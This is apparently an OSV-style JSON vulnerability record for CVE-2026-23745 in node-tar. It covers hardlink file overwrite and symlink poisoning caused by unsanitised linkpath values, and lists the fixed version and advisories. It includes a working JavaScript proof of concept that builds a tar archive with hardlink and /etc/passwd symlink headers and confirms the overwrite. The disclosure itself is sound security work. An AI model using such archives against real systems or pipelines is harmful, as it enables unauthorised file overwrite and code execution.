{"id":"CVE-2026-23745","aliases":["GHSA-8qq5-rm4j-mr97"],"url":"https://o3.security/vulnerability/CVE-2026-23745","summary":"node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization","details":"### Summary\n\nThe `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require('tar')\n\nconst out = path.resolve('out_repro')\nconst secret = path.resolve('secret.txt')\nconst tarFile = path.resolve('exploit.tar')\nconst targetSym = '/etc/passwd'\n\n// Cleanup & Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, 'ORIGINAL_DATA')\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n  path: 'exploit_hard',\n  type: 'Link',\n  size: 0,\n  linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n  path: 'exploit_sym',\n  type: 'SymbolicLink',\n  size: 0,\n  linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log('[*] Extracting malicious tarball...')\n\n// 3. Extract with default secure settings\ntar.x({\n  cwd: out,\n  file: tarFile,\n  preservePaths: false\n}).then(() => {\n  console.log('[*] Verifying payload...')\n\n  // Test Hardlink Overwrite\n  try {\n    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')\n    \n    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {\n      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')\n    } else {\n      console.log('[-] Hardlink failed')\n    }\n  } catch (e) {}\n\n  // Test Symlink Poisoning\n  try {\n    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {\n      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')\n    } else {\n      console.log('[-] Symlink failed')\n    }\n  } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)","published":"2026-01-16T22:00:08.769Z","modified":"2026-10-28T02:31:05.555060378Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"tar","fixedVersion":"7.5.3"}],"fix":{"url":"https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e","label":"isaacs/node-tar@340eb28"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23745.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:18480"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:18868"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:2144"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:2900"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:2926"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:3782"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6192"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-23745"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23745.json"},{"type":"ADVISORY","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23745"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430538"},{"type":"FIX","url":"https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:05.555060378Z"}}